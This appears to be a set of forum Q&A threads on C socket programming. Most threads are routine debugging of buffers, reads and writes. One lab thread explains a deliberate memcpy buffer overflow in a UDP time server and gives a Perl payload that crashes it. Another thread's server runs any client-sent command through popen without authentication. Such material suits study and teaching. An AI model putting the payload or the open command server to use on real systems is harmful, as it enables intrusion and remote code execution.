Iam trying to run shell commands on a server and want them to be printed in the client shell..
that means when i type a command in the client shell that command should go to the server and execute inside the server and return the output back to the client
but the only problem iam, facing now is when i run commands like "Date,hostname etc" in the client programme it shows the expected output(Client -> server -> client). but when i run "ls" it shows only the first file in the folder..
as an example if i put five files in a folder it shows only the name of the first file in the folder
CLIENT program
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#define PORT 1300
#define HOST "127.0.0.1"
#define MAXLINE 1024
main() {
register int s,len;
struct sockaddr_in pin;
struct hostent *hp;
char buff[MAXLINE + 1];
if ((hp=gethostbyname(HOST)) == 0) {
perror("gethostbyname");
exit(1);
}
bzero(&pin, sizeof(pin));
pin.sin_family = AF_INET;
pin.sin_addr.s_addr= ((struct in_addr *) (hp->h_addr)) -> s_addr;
pin.sin_port=htons(PORT);
if ((s=socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("client:socket");
exit(1);
}
if (connect(s,(struct sockaddr *) &pin,sizeof(pin)) < 0) {
perror("client:connect");
exit(1);
}
char out[20];
strcpy(out,"exit");
while(1){
bzero(buff,MAXLINE+1);
printf("Message> ");
scanf("%s",buff);
if(strcmp(out,buff) == 0){
exit(1);
}
send(s,buff,strlen(buff)+1, 0);
bzero(buff,MAXLINE+1);
read(s,buff,MAXLINE);
printf("Received>");
puts(buff);
}
close(s);
}
here's my SERVER program
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include<string.h>
#define PORT 1300
#define MAXLINE 4096
#define COMMAND_LEN 20
#define DATA_SIZE 1512
main() {
register int s,ns;
int len;
struct sockaddr_in sin,pin;
char buff[MAXLINE + 1];
time_t ticks;
struct tm * timeinfo;
FILE *pf;
char command[COMMAND_LEN];
char data[DATA_SIZE];
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr= htonl(INADDR_ANY);
sin.sin_port=htons(PORT);
if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("server: socket");
exit(1);
}
if (bind(s,(struct sockaddr *)&sin, sizeof(sin)) < 0) {
perror("server:bind");
exit(1);
}
if (listen(s,5) <0) {
perror("server: listen");
exit(1);
}
for(; ;) {
if ((ns = accept(s, (struct sockaddr *)&pin, &len)) < 0) {
perror("server: accept");
exit(1);
}
while(1){
bzero(buff,MAXLINE+1);
read(ns,buff,MAXLINE);
pf=popen(buff,"r");
if(!pf)
{
fprintf(stderr,"could not open for output. \n");
}
fgets(data,DATA_SIZE,pf);
send(ns,data,strlen(data)+1,0);
//puts(buff);
//send(ns,buff,strlen(buff)+1,0);
}
}
close(ns);
close(s);
}
i tried changing the buffer size but still the problem remains ...
this is how i changed the code segment in server side
bzero(buff,MAXLINE+1);
read(ns,buff,MAXLINE);
pf=popen(buff,"r");
if(!pf)
{
fprintf(stderr,"could not open for output. \n");
}
while(NULL!=fgets(data,DATA_SIZE,pf)){
send(ns,data,strlen(data)+1,0);
}
if(pclose(pf)!=0)
fprintf(stderr,"Error:failed to close command stream \n");
* data ='\0';
//puts(buff);
send(ns,data,1,0);
and in the client side i changed it as
the below code is just under the main method
int idone =0, ibytes;
char *p;
this part is in the client programme as shown
while(! idone)
{
ibytes = read (s,buff,MAXLINE);
for (p=buff;(ibytes--);p++)
{
if(! *p)
{idone=1;break;}
putc(*p,stdout);
}
now when i run the "ls" command it still shows only one file and now after doing the above change now it doesnt even run commands like "date ,hostname ..."
On the client side,
read(s,buff,MAXLINE);
Is not guaranteed to get all the data that the server sent. In fact it can return after returning 1 byte. You're going to have to add a header to your messages on the server side and then make sure you keep doing read until you receive the entire message.
Not to mention doing one fgets() on the server side means you only read one line from popen() and send that. You need to keep doing fgets() till EOF.
Not to mention that you never close pf with a pclose.
So, now in the comments you've tried to address point 2 & point 3. pclose is in the wrong place, but in addition, you still have the problem of point 1. You don't know how much to read on the client before the "results" are complete. So we have to make up a protocol.
So right now your code in the comments will send each line of ls back with a newline and a \0. Lets change that. Lets only send printable text until everything is done, then send a \0.
while ( NULL != fgets(data, DATA_SIZE,pf)) {
send( ns, data, strlen( data), 0) ; // not strlen() +1
}
if ( pclose( pf) != 0 ) { perror("Error") ; } // outside the while loop
* data= '\0' ;
send( ns, data, 1, 0 ) ; // send a null
Now the client can do read() all day long, and until it gets a \0 it knows there's more data. Beware of a few gotchas of course. You have to add \0 to your client side buffer before printing each message. And when you go looking for \0 in the message, you have to make sure you didn't find it passed the end of the number of bytes sent.
The key here is that you have to look at the return value of read() for how many bytes you actually got.
int idone= 0, ibytes ;
char * p;
while ( ! idone )
{
ibytes= read(s,buff,MAXLINE);
for ( p= buff ; ( ibytes -- ) ; p ++ )
{
if ( ! * p ) { idone= 1 ; break ; }
putchar( * p) ;
}
}
Related
So I am learning about buffer overflow attacks in C. I understand what they are and I can find a buffer overflow vulnerability in a simple C code. Simple is fine :).
But this code seems to go beyond my definition of 'simple'.
So far, I understand that in this C code, buffer overflow vulnerabilities can happen mainly in the line: strcpy(retstr, "Process Error."); but there is an if statement above the line that I think protects against buffer overflow at this line.
I would appreciate any help in finding the buffer overflow vulnerability in this code.
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <time.h>
#define CANBUFSIZE 106
#define MSGBUFSIZE 256
#define TIMEBUFSIZE 128
char msgbuf[MSGBUFSIZE];
char canarybuf[CANBUFSIZE];
void get_time(char* format, char* retstr, unsigned received)
{
// memory for our local copy of the timestring
char timebuf[TIMEBUFSIZE];
time_t curtime;
// if the format string esceeds our local buffer ...
if(strlen(format) > TIMEBUFSIZE)
{
strcpy(retstr,"Process Error.");
return;
}
// otherwise create a local working copy
memcpy(timebuf,format,received);
// Get the current time.
curtime = time (NULL);
// Convert it to local time representation.
// and convert the format string to the real timestring
struct tm *loctime = localtime (&curtime);
strftime(retstr,TIMEBUFSIZE,timebuf,loctime);
return;
}
int main(int argc, char** argv)
{
int port; // the portnumber of our service
struct in_addr bind_addr; // bind address of the server
int sd; // the socketdescriptor
struct sockaddr_in addr; // address of our service
struct sockaddr_in addr_from; //address of the client
int addrlen = sizeof(addr_from);
int pid; // our process id
int sid; // our session id
unsigned received; // number of bytes received from network
// resolve command line arguments
if(argc != 3)
{
printf("Usage: timeservice <bind address> <portnum>\n");
return 1;
}
if (inet_aton(argv[1], &bind_addr) == 0)
{
fprintf(stderr, "Invalid bind address\n");
exit(EXIT_FAILURE);
}
port = atoi(argv[2]);
if ((port < 1024) || (port > 65535))
{
printf("Portrange has to be between 1024 and 65535.\n");
exit(EXIT_FAILURE);
}
// forking to background
pid = fork();
if(pid < 0)
{
printf("fork() failed\n");
exit(EXIT_FAILURE);
}
// we are parent
else if(pid > 0)
{
return 0;
}
/*
* we are the child process
* because of the termination of our parent, we need a new session id,
* else we are zombie
*/
sid = setsid();
if (sid < 0) {
return 1;
}
/*
* since we are a system service we have to close all standard file
* descriptors
*/
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
// create an udp socket
if((sd = socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0)
{
return 1;
}
// clear the memory of our addr struct
memset(&addr,0,sizeof(addr));
// Protocol Family = IPv4
addr.sin_family = PF_INET;
// Listen on bindAddr and bindPort only
addr.sin_addr.s_addr = bind_addr.s_addr;
addr.sin_port = htons(port);
// bind to the udp socket
if(bind(sd,(struct sockaddr*)&addr,sizeof(addr)) != 0)
{
return 1;
}
for(;;)
{
// prepare memory
memset(&msgbuf, 0, sizeof(msgbuf));
received = recvfrom(sd,msgbuf,MSGBUFSIZE,MSG_WAITALL,
(struct sockaddr*)&addr_from,(socklen_t*) &addrlen);
// fork a new child
pid = fork();
// we are parent
if (pid > 0)
{
// wait for the child to finish
waitpid(pid,NULL,0);
}
else
{
/*
* we are inside the child process
*/
// reserve some memory for our response
char * returnstr = (char*) malloc(TIMEBUFSIZE);
// analyse the client request and format the time string
get_time(msgbuf, returnstr, received);
// send our response to the client
sendto(sd,returnstr,strlen(returnstr)+1,MSG_DONTWAIT,
(struct sockaddr *) &addr_from, addrlen);
free(returnstr);
return EXIT_SUCCESS;
}
}
close(sd);
return 0;
}
There is a discrepancy in get_time: strlen is used to check the "size" of the incoming buffer, but memcpy is used with a user-supplied received argument. It suffices to pass a buffer with a NUL byte within the first TIMEBUFSIZE bytes.
You can trigger the crash directly in code if you do:
received = 256;
memset(msgbuf, 'A', MSGBUFSIZE);
msgbuf[0] = 0;
this will "fill up" msgbuf with 256 bytes and then keep writing for 128 bytes more, overwriting the return address on the stack to an address of your choice. Because the first byte is a NUL, the strlen check passes.
If you want to trigger this on the actual binary, you probably need something like: (assuming it runs on localhost:1234)
perl -MIO::Socket::IP -E '
$buf = "\0" . ("A"x255);
my $s = IO::Socket::IP->new(PeerHost => "127.0.0.1", PeerPort => 1234, Type => SOCK_DGRAM);
$s->autoflush(1);
print $s $buf;
'
and then of course you need to modify the buffer to perform actual code flow
As an assignment of a lab , I want first to find the vulnaribility of the following code , then run in as a sample timeserver and then attack it using buffer overflow . But the first problem is not knowing where exactly to start .
I know that there are some functions that could be harmfull in that C program ( such as " strftime " , or " memcoy " , or "strcpy" ) but I can not select which one is the most proper one to start with .
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <time.h>
#define CANBUFSIZE 106
#define MSGBUFSIZE 256
#define TIMEBUFSIZE 128
char msgbuf[MSGBUFSIZE];
char canarybuf[CANBUFSIZE];
void get_time(char* format, char* retstr, unsigned received)
{
// memory for our local copy of the timestring
char timebuf[TIMEBUFSIZE];
time_t curtime;
// if the format string esceeds our local buffer ...
if(strlen(format) > TIMEBUFSIZE)
{
strcpy(retstr,"Process Error.");
return;
}
// otherwise create a local working copy
memcpy(timebuf,format,received);
// Get the current time.
curtime = time (NULL);
// Convert it to local time representation.
// and convert the format string to the real timestring
struct tm *loctime = localtime (&curtime);
strftime(retstr,TIMEBUFSIZE,timebuf,loctime);
return;
}
int main(int argc, char** argv)
{
int port; // the portnumber of our service
struct in_addr bind_addr; // bind address of the server
int sd; // the socketdescriptor
struct sockaddr_in addr; // address of our service
struct sockaddr_in addr_from; //address of the client
int addrlen = sizeof(addr_from);
int pid; // our process id
int sid; // our session id
unsigned received; // number of bytes received from network
// resolve command line arguments
if(argc != 3)
{
printf("Usage: timeservice <bind address> <portnum>\n");
return 1;
}
if (inet_aton(argv[1], &bind_addr) == 0)
{
fprintf(stderr, "Invalid bind address\n");
exit(EXIT_FAILURE);
}
port = atoi(argv[2]);
if ((port < 1024) || (port > 65535))
{
printf("Portrange has to be between 1024 and 65535.\n");
exit(EXIT_FAILURE);
}
// forking to background
pid = fork();
if(pid < 0)
{
printf("fork() failed\n");
exit(EXIT_FAILURE);
}
// we are parent
else if(pid > 0)
{
return 0;
}
/*
* we are the child process
* because of the termination of our parent, we need a new session id,
* else we are zombie
*/
sid = setsid();
if (sid < 0) {
return 1;
}
/*
* since we are a system service we have to close all standard file
* descriptors
*/
close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);
// create an udp socket
if((sd = socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0)
{
return 1;
}
// clear the memory of our addr struct
memset(&addr,0,sizeof(addr));
// Protocol Family = IPv4
addr.sin_family = PF_INET;
// Listen on bindAddr and bindPort only
addr.sin_addr.s_addr = bind_addr.s_addr;
addr.sin_port = htons(port);
// bind to the udp socket
if(bind(sd,(struct sockaddr*)&addr,sizeof(addr)) != 0)
{
return 1;
}
for(;;)
{
// prepare memory
memset(&msgbuf, 0, sizeof(msgbuf));
received = recvfrom(sd,msgbuf,MSGBUFSIZE,MSG_WAITALL,
(struct sockaddr*)&addr_from,(socklen_t*) &addrlen);
// fork a new child
pid = fork();
// we are parent
if (pid > 0)
{
// wait for the child to finish
waitpid(pid,NULL,0);
}
else
{
/*
* we are inside the child process
*/
// reserve some memory for our response
char * returnstr = (char*) malloc(TIMEBUFSIZE);
// analyse the client request and format the time string
get_time(msgbuf, returnstr, received);
// send our response to the client
sendto(sd,returnstr,strlen(returnstr)+1,MSG_DONTWAIT,
(struct sockaddr *) &addr_from, addrlen);
free(returnstr);
return EXIT_SUCCESS;
}
}
close(sd);
return 0;
}
I compiled the file using gcc and run the localserver with ./timeserver 127.0.0.1 2222 and then connects to that with nc -u 127.0.0.1 2222 . Then I'm now able to input some strings of format strings to the server and take some results back . For example if I use %d in the command line it will show me a date/time in a special format .
I know that this is the place that I should force some strings and crash the program but I can not find exact string of that .
The return value of recvfrom is not checked, which is a mistake. If recvfrom gets an error, then the return value is -1. Since the type of received is unsigned, a second mistake, this will appear to be a large positive value. The memcpy call will cause the program to fail.
I am currently studying TCP multiclient echo server and client using fork, thread, multiplexing IO and so on.
Below are the simple server and client using fork().
server_fork.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>
#include <arpa/inet.h>
static const int BUFSIZE = 1024;
int readn(int fd, char *buf, short n);
int main(void)
{
int cnt = 0;
int listenFD, connectFD;
struct sockaddr_in listenSocket, connectSocket;
char buffer [BUFSIZE];
if ((listenFD = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket() error\n");
exit(0);
}
if (setsockopt(listenFD, SOL_SOCKET, SO_REUSEADDR, &(int){ 1 }, sizeof(int)) < 0) {
perror("sockopt error\n");
exit(0);
}
memset(&listenSocket, 0, sizeof(listenSocket));
listenSocket.sin_family = AF_INET;
listenSocket.sin_addr.s_addr = inet_addr("0.0.0.0");
listenSocket.sin_port = htons(7777);
if (bind(listenFD, (struct sockaddr *)&listenSocket, sizeof(listenSocket)) < 0) {
perror("bind() error\n");
exit(0);
}
if (listen(listenFD, 1) < 0) {
perror("listen() error\n");
exit(0);
}
signal(SIGCHLD, SIG_IGN);
int connectSocketLen;
short readLen;
pid_t pid;
while (1) {
connectSocketLen = sizeof(connectSocket);
if ((connectFD = accept(listenFD, (struct sockaddr *)&connectSocket,
&connectSocketLen)) < 0) {
perror("accept() error\n");
exit(0);
}
pid = fork();
cnt++;
if (pid == 0) {
close(listenFD);
while (1) {
memset(buffer, 0, BUFSIZE);
if (readn(connectFD, buffer, 2) == 0) {
break;
}
readLen = (*(short *)&buffer);
if(readLen != 12)
printf("[%d] : %d\n", cnt, readLen);
if (readn(connectFD, buffer, readLen) == 0) {
break;
}
buffer[readLen] = 0;
int n;
if ((n = write(connectFD, buffer, readLen)) <= 0) {
perror("!!");
}
sleep(0);
}
close(connectFD);
exit(0);
}
else if (pid > 0) {
close(connectFD);
}
else {
perror("fork() error\n");
exit(0);
}
}
close(listenFD);
return 0;
}
int readn(int fd, char *buf, short n)
{
short sp = 0, readed;
while (n) {
readed = read(fd, buf + sp, n);
if (readed <= 0) {
return 0;
}
n -= readed;
sp += readed;
}
return 1;
}
client.c
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
static const int bufSize = 1024;
int main(int argc,char *argv[])
{
signal(SIGCHLD, SIG_IGN);
fork();
fork();
fork();
fork();
fork();
fork();
fork();
fork();
//fork();
//fork();
char length[2], recvBuf[bufSize];
char buf[]="hello, world\0";
short len = strlen(buf);
sprintf(length,"%c",len);
int client_sockfd, size, i, n, state;
uint64_t delta_us = 0;
struct sockaddr_in server_addr;
struct timespec start, end;
client_sockfd = socket(PF_INET, SOCK_STREAM, 0);
memset(&server_addr, 0, sizeof server_addr);
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(7777);
inet_pton(AF_INET, "127.0.0.1", &server_addr.sin_addr.s_addr);
state = connect(client_sockfd, (struct sockaddr *)&server_addr,
sizeof server_addr);
if (state < 0) {
perror("connect err");
exit(1);
}
for (i=0;i<10;i++) {
clock_gettime(CLOCK_MONOTONIC_RAW, &start);
n = write(client_sockfd, length, sizeof length);
if (n<=0) {
perror("write err");
exit(1);
}
n = write(client_sockfd, buf, *((short *)&length));
if (n<=0) {
perror("write err");
exit(1);
}
n = read(client_sockfd, recvBuf, *((short *)&length));
if (n<=0) {
perror("read err");
exit(1);
}
clock_gettime(CLOCK_MONOTONIC_RAW, &end);
delta_us += (end.tv_sec - start.tv_sec) * 1000000 +
(end.tv_nsec - start.tv_nsec)/1000;
printf("%lu\n", delta_us);
sleep(1);
}
return 0;
}
The client first transmits the length of the message represented by 2 bytes.
Then client sends a "hello, world" message to the server in buf.
The server first reads 2 bytes through readn () and reads the message as much.
But in all cases (fork, thread, multiplexing IO... whatever), I have a common difficulty.
The problem is that : In the above source code, the length of the message("hello, world" is 12. so it is expected to read 12 in the first readn () of the server.
In fact, when the number of clients is small (the number of forks on the client is 7 or less), it works fine.
However, if the number of clients increases, the value of readLen will be 25960 on some connections. 25960 is the value that represents "he" in hex.
Why is this problem happening when there are many clients?
I wonder if it is the same as sending a TCP packet at one time and dividing it two times.
Below is a tcpdump capture of the above problem situation.
I'm sorry that I could not upload the image right away.
tcpdump
On the client side, you have multiple problems surrounding how you send the message length. Starting here:
char length[2], recvBuf[bufSize];
char buf[]="hello, world\0";
short len = strlen(buf);
sprintf(length,"%c",len);
Your sprintf format promises that the third argument will be of type char (promoted to int), and instructs it to output the corresponding character into the string. In fact, the argument is a short (promoted to int), and this mismatch produces undefined behavior.
In practice, the overall sprintf call is probably equivalent to this:
length[0] = (char)(int)len;
length[1] = '\0';
That has implementation-defined characteristics if char is a signed type, but in any event, it cannot capture a length greater than the maximum value that can be represented by an unsigned char.
The client goes on to do this:
n = write(client_sockfd, length, sizeof length);
That's not inherently wrong, but it does fail to accommodate the possibility of a short write. Moreover, the server does not interpret this part of the message in a manner consistent with the way it was prepared:
if (readn(connectFD, buffer, 2) == 0) {
break;
}
readLen = (*(short *)&buffer);
As it turns out, that combination might happen to work if the server uses a 16-bit, little-endian representation for type short (subject to the restriction I already described on representable message length) and an execution character set compatible with the client's, but those are not safe assumptions for network software in general.
In part, you seem to be missing an important point about read() and write() and char pointers: a char * can be used to read the representation of an object of any type, so you do not need to move your data into a char array in order to send or receive it.
Overall, this would be a more appropriate approach:
// Client:
uint16_t len = strlen(buf); // risk: buf may be too long
uint16_t len_n = htons(len);
int n = writen(client_sockfd, &len_n, 2); // a write() analog of readn()
// ... handle possible error ...
// Sever:
uint16_t len_n;
int n = readn(connectFD, &len_n, 2);
// ... possible handle error ...
uint16_t readLen = ntohs(len_n);
Note that there is no need to copy the length into a separate char array to send it, nor to receive it into a char array. On the other hand, note also the use of a specified-size data type (uint16_t) on both sides, and the use of htons() and ntohs() to ensure that the client and server interpret the bytes of the data the same way. Furthermore, note the use of a write analog of readn() to send the data, which otherwise could be sent incompletely.
By the same token the client and server should both use the (hypothetical) writen() function to send the text of the message, and just like the server, the client should use readn() to read it. Failing to account for the possibility of short reads and writes is a significant flaw, especially in a protocol such as yours whose message boundaries are not easily distinguishable from data. An unnoticed short read or write will cause your client and server to fall out of sync, with no easy way to recover.
Apart from the problems already noticed by #JohnBollinger, you only use a listen window of 1 in server.c when all your forked client processes try to connect at the same time. It caused plenty of connect : conn reset by peer errors in my tests. I had to use a window greater than 64 on my FreeBSD (no errors at 256) to get rid of them :
if (listen(listenFD, 256) < 0) {
perror("listen() error\n");
exit(0);
}
I'm trying to dev a little tool in C which includes HTTP Requests, but I have a problem I can't solve because I can't exactly find my error :/
This is a little part of my tool and I think that the function "http_request" has a problem with some HTML response.
Sometimes I have a segfault, sometimes a "free invalid next size" ... I'm thinking that my pointer has not correctly used.
I've try to reproduce the bug with very long string but nothing is happening..
(I think my problem is in the part /* receive the response */)
Here's the code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#define BUF_SIZE 256
char *http_request(char *host, int port, char *r_http)
{
struct hostent *server;
struct sockaddr_in serv_addr;
int sockfd;
/* create the socket */
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) printf("ERROR opening socket");
/* lookup the ip address */
server = gethostbyname(host);
if (server == NULL)
{
printf("ERROR, no such host");
return NULL;
}
/* fill in the structure */
memset(&serv_addr,0,sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(port);
memcpy(&serv_addr.sin_addr.s_addr,server->h_addr,server->h_length);
/* connect the socket */
if (connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr)) < 0)
{
printf("ERROR connecting");
return NULL;
}
/* send the request */
int sent = 0,total = strlen(r_http), bytes, received;
do {
bytes = write(sockfd,r_http+sent,total-sent);
if (bytes < 0)
printf("ERROR writing message to socket");
if (bytes == 0)
break;
sent+=bytes;
} while (sent < total);
/* receive the response */
char *response = malloc(sizeof(char)*BUF_SIZE), *tmp_response = malloc(sizeof(char)*BUF_SIZE), rec_data[BUF_SIZE]={0};
// unsigned int new_size = BUF_SIZE;
size_t new_size = BUF_SIZE;
while((bytes = read(sockfd,rec_data,BUF_SIZE)))
{
/* Check if error or end of receipt */
if (bytes < 0 || bytes == 0)
{
if(bytes < 0)
printf("ERROR reading response from socket");
break;
}
/* Process vars */
if(new_size == BUF_SIZE)
snprintf(response,(BUF_SIZE+1),"%s",rec_data);
else {
tmp_response = realloc(tmp_response,sizeof(char)*strlen(response));
memset(tmp_response,0,sizeof(tmp_response));
snprintf(tmp_response,(new_size+1),"%s",response);
response = realloc(response,sizeof(char)*strlen(tmp_response)+sizeof(char)*strlen(rec_data));
memset(response,0,sizeof(response));
snprintf(response,(new_size+1),"%s%s",tmp_response,rec_data);
}
new_size+=BUF_SIZE;
memset(rec_data,0,sizeof(rec_data));
}
/* close the socket */
close(sockfd);
/* free space */
free(r_http);
free(tmp_response);
// free(response);
return response;
}
char *http_get(char *host, int port, char *get_request)
{
char *base_http = "GET %s HTTP/1.0\r\n\r\n", *r_http = malloc(sizeof(char)*strlen(base_http)+sizeof(char)*strlen(get_request));
sprintf(r_http,base_http,get_request);
return http_request(host,port,r_http);
}
int main(int argc, char *argv[], char *envp[])
{
char *resp = http_get("127.0.0.1",80,"/test.html");
printf("Response: |%s|\n",resp);
return 0;
}
The main problem: Your realloc sizes are consistently one off - You forgot that snprintf will need to have space for the 0 byte at the string end (strlen will always give you one byte less than you actually need to store the string)
Other (more marginal) problems:
You let snprintf (which is quite an expensive function) do the job of a simple memcpy
I don't really see the purpose for having a secondary buffer tmp_response - you could simply use rec_data for that. You would also get rid of one realloc call in your code.
Also quite some of the memset (which is used with wrong arguments anyhow) is unnecessary - Just copy the string over, there is not much purpose for clearing the buffers to 0 first, as long as you make sure you copy the string end around consistently.
Thanks all for you attention!
I've try to refactor my code with your adivce but I've some problem..
I've bug with little response I don't have the last char and sometime the response is in double (concat with the response header)
I've replace snprintf by memcpy and strncat, remove tmp buffer, send my var by reference into memset and add 1 byte space allocation for 0x00 at end of string.
If you see any error even small please tell me :)
My memset is correctly used now?
This is my new loop:
while((bytes = read(sockfd,rec_data,BUF_SIZE)))
{
/* Check if error or end of receipt */
if (bytes < 0 || bytes == 0)
{
if(bytes < 0)
error("ERROR reading response from socket");
break;
}
/* Process vars */
if(new_size == BUF_SIZE)
{
memcpy(response,rec_data,strlen(rec_data)+1);
response[strlen(response)-1]=0x00;
}else
{
response = realloc(response,new_size+1);
strncat(response,rec_data,BUF_SIZE);
memset(&rec_data,0,BUF_SIZE);
}
new_size += BUF_SIZE;
}
While working in client-server programming, I have passed 3 strings in client, which will be received by server and it should be printed in there 3 times. (i.e I have used a 'for' loop which will do the read & write operations in client & server side respectively.), but in server only the 1st string is getting printed.
Please explain,
Here is my code
server.c
#include "head.h"
void readstr(int connfd ,char [][20]);
//void writestr(char * ,int);
int main(int c ,char *v[])
{
int sd,connfd,retbind;
struct sockaddr_in serveraddress ,cliaddr;
socklen_t len;
char buf[100] ,databuf[1024][4];
sd =socket( AF_INET ,SOCK_STREAM ,0);
if (sd<0)
{
exit(1);
}
memset(&serveraddress ,0 ,sizeof(serveraddress));
serveraddress.sin_family =AF_INET;
serveraddress.sin_port =htons(MYPORT);
serveraddress.sin_addr.s_addr =htonl(INADDR_ANY);
retbind =bind(sd ,(struct sockaddr*)&serveraddress ,sizeof(serveraddress
));
if(-1 ==retbind)
{
perror("bind fails ");
exit(0);
}
listen(sd ,4);
for(;;)
{
printf("i am waiting for client\n");
len =sizeof(cliaddr);
connfd = accept(sd ,(struct sockaddr*)&cliaddr ,&len);
if(connfd <0)
{
if(errno ==EINTR)
printf("interrupt");
continue;
}
printf("connection from %s\n",inet_ntop(AF_INET ,&cliaddr.sin_addr,buf ,
sizeof(buf)));
readstr(connfd ,databuf);
close(connfd);
printf("\n fini one clieni");
}
return 0;
}
void readstr(int connfd ,char str[3] [20])
{
int pointer=0 ,i=0, n,pos=0;
memset(str ,'\0',sizeof(str));
printf("\n->Connfd : %d\n",connfd);
printf("\n----->String recieved : %s\n",str);
for(i=0;i<3;i++)
{
while((n=read(connfd ,str[i] ,20)) >>0)
{
printf("Looping while\n");
pos =pos +n;
}
str[i][pos] ='\0';
}
for(i=0;i<3;i++)
{
printf("\n%s",str[i]);
}
}
client.c
#include "head.h"
void send1(int ,char*);
int main(int c,char*v[])
{
int sd,i;
int len;
char buf[20][4];
struct sockaddr_in serveraddress;
sd = socket(AF_INET ,SOCK_STREAM ,0);
if (sd<0)
perror("socket");
memset(&serveraddress ,0 ,sizeof(serveraddress));
serveraddress.sin_family =AF_INET;
serveraddress.sin_port =htons(atoi(v[1]));
serveraddress.sin_addr.s_addr =inet_addr(v[2]);
if(connect(sd,(struct sockaddr*)&serveraddress ,sizeof(serveraddress)) <
0)
{
printf("cannot connect to server");
exit(1);
}
for(i=0;i<3;i++)
{
memset(buf ,'\0',sizeof(buf));
printf("\n string");
fgets(buf[i],20,stdin);
len =strlen(buf[i]);
if(buf[i][len] =='\n')
buf[i][len]='\0';
// scanf("%s",buf[i]);
send1(sd ,(char *)buf);
}
shutdown(sd ,SHUT_WR);
}
void send1(int sd ,char *str)
{
int n ,byteswritten =0, wr;
char buf[1024];
strcpy(buf ,str);
n =strlen(buf);
while(byteswritten < n)
{
printf("\nStart writing in client side\n");
wr = write(sd , buf+byteswritten ,(n-byteswritten));
byteswritten+=wr;
}
printf("\n string sent %s" ,buf);
}
In client.c main:
char buf[20][4];
change to:
char buf[4][20];
In server.c readstr:
while((n=read(connfd ,str[i] ,20)) >>0)
change to:
while((n = read(connfd, &str[i][pos], 20)) > 0)
pos needs to be reset to 0 inside the for loop.
Also, the client reads 3 strings of up to 20 chars each from stdin and writes them to the socket.
The server expects 3 strings of exactly 20 chars each.
You should either use some kind of record separator, like \n, in your network protocol, or use fixed length, i.e. pad the input strings to 20 characters.
There may be more errors in your code, I stopped looking after finding these.
It has been over 1 hour on SO and you haven't got an answer.. to what seems like a very simple problem(odd feat). you know why?
because its very painful to go through your code.
document it!
divide it into modules - init_net(), form_pkt(),
send_pkt(), exit(),.. etc
describe your problem properly.
how many client are you running?
what happens after only first strings get printed. does you code stops, loops forever what?
have you looked through a packet capture tool like tcpdump, wireshark, etc
and before I get to the main problem.. I see things like "databuf[1024][4]" being passed to a function readstr() with formal arguments "char str[3] [20]".
couple of advice
run your code through a static tool analyzer to look for basic warnings.
strings are not a great idea to send on network, learn how to define a packet structure with header and data part, etc
also I believe you are looking for a Packet like communication instead of stream based. understand the difference!
I do not know the answer to that question unless you present it properly. this time and every next time.